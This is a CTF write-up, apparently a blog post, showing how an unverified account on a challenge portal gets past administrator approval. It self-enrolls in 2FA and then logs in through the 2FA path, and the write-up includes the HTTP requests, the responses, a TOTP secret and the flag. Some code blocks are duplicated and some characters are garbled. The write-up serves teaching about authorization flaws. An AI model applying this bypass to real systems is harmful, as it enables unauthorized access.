October 31, 2026
One Login, Two Paths, One Critical Security Flaw CYSHIELD CTF 2026
Introduction

By Isv0x1
3 min read
Introduction
Authentication systems should ensure that only authorized users access protected resources. However, gaps between security layers can undermine the entire process.
While solving the Ghost Mode challenge in CYCTF, I discovered this flaw in AegisCore Response, an incident-response portal requiring administrator verification.
Step 1 โ Creating an Account
The portal's registration flow made the restriction explicit: new accounts are created as unverified until an administrator approves them.
I registered a normal account and confirmed I couldn't reach the dashboard afterward โ so far, the verification gate looked solid.
step 2 โ Enumerating Endpoints
Before trying to break the auth flow, I mapped out the API surface:
/css/style.css /api/auth/login
/services /register
/articles /dashboard
/history /js/api.js
/team /js/api-client.js
/contact /js/main.js
/login /api/auth/2fa
/api/auth/register
/api/auth/logout
/api/me
/api/profile
/api/profile/password
/api/profile/2fa/setup
/api/profile/2fa/enable
/api/profile/2fa/disable
/api/dashboard
/api/incidents
/api/facilities/css/style.css /api/auth/login
/services /register
/articles /dashboard
/history /js/api.js
/team /js/api-client.js
/contact /js/main.js
/login /api/auth/2fa
/api/auth/register
/api/auth/logout
/api/me
/api/profile
/api/profile/password
/api/profile/2fa/setup
/api/profile/2fa/enable
/api/profile/2fa/disable
/api/dashboard
/api/incidents
/api/facilitiesTwo endpoints stood out: /api/profile/2fa/setup and /api/profile/2fa/enable โ suggesting 2FA could be self-enrolled, independent of the account's verification status.
Step 3 โ Enrolling in 2FA as an Unverified User
I sent a POST to /api/profile/2fa/setup using the session cookie from my unverified account, and the server handed back a fresh TOTP secret with
out any verification check:
{
"ok": true,
"secret": "35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D",
"otpauth": "otpauth://totp/AegisCore%20Response:Islam0x1%40gmail.com?secret=35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D&issuer=AegisCore%20Response"
}{
"ok": true,
"secret": "35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D",
"otpauth": "otpauth://totp/AegisCore%20Response:Islam0x1%40gmail.com?secret=35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D&issuer=AegisCore%20Response"
}This was the first sign of the flaw: the endpoint assumed that anyone holding a valid session was allowed to set up 2FA, without asking whether that account had been approved yet.
Step 4 โ Generating a Valid TOTP Code
Using the leaked secret, I generated a live one-time code via totp.codes, then submitted it to /api/profile/2fa/enable to turn 2FA on for the account:
OTP Code Generator | totp.codes
POST /api/profile/2fa/enable HTTP/1.1
Content-Type: application/json
{"code":"170724"}POST /api/profile/2fa/enable HTTP/1.1
Content-Type: application/json
{"code":"170724"}2FA was now active โ on an account that was still, by design, unverified.
step 5 โ Logging Out and Back In
With 2FA enabled, I logged out and authenticated again with the same credentials, this time completing the 2FA challenge:
POST /api/auth/2fa HTTP/1.1
Cookie: connect.sid=...
{"code":"221702"}
{
"ok": true,
"redirect": "/dashboard"
}POST /api/auth/2fa HTTP/1.1
Cookie: connect.sid=...
{"code":"221702"}
{
"ok": true,
"redirect": "/dashboard"
}
The server redirected straight to /dashboard. No verification check ran anywhere in this second path โ the 2fa endpoint trusted that completing the OTP challenge was sufficient to mint a fully authenticated session.
Step 6 โ Capturing the Flag
With a legitimate, authenticated session in hand, I hit /api/me:
{
"ok": true,
"user": {
"id": 35,
"name": "islam 0x1",
"email": "1slam0x1@email.com",
"organization": "WeChecKM8",
"role": "user",
"verified": false,
"status": "active",
"totp_enabled": true,
"flag": "CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}"
}
}{
"ok": true,
"user": {
"id": 35,
"name": "islam 0x1",
"email": "1slam0x1@email.com",
"organization": "WeChecKM8",
"role": "user",
"verified": false,
"status": "active",
"totp_enabled": true,
"flag": "CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}"
}
}"verified": false โ right next to the flag. The account was never approved, yet it had full API access.
CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}Root Cause
The vulnerability came down to inconsistent authorization checks across two separate authentication paths:
- The initial login path (
/api/auth/login) correctly checkedverifiedstatus and blocked unapproved accounts. - The 2FA path (
/api/auth/2fa, plus the self-service/api/profile/2fa/setupand/enableendpoints) never checkedverifiedat all โ it only cared whether the submitted OTP code matched.
Because 2FA enrollment was self-service and didn't gate on verification either, an attacker could enable 2FA on an unverified account and then use the 2FA login path as a side door that skipped the check entirely.
Takeaway
This is a classic authorization logic flaw, not a cryptographic or cookie-handling bug: every individual control (registration gating, 2FA, session cookies) worked exactly as intended in isolation. The vulnerability only existed in the seam between them โ the assumption that reaching the 2FA step implied the account had already passed every earlier check.
thanks for reading
Follow Me in : www.linkedin.com/in/islam-salem-5a13a032b
ุงูููู ุงูุตุฑ ุงุฎูุงููุง ูู ุบุฒุฉ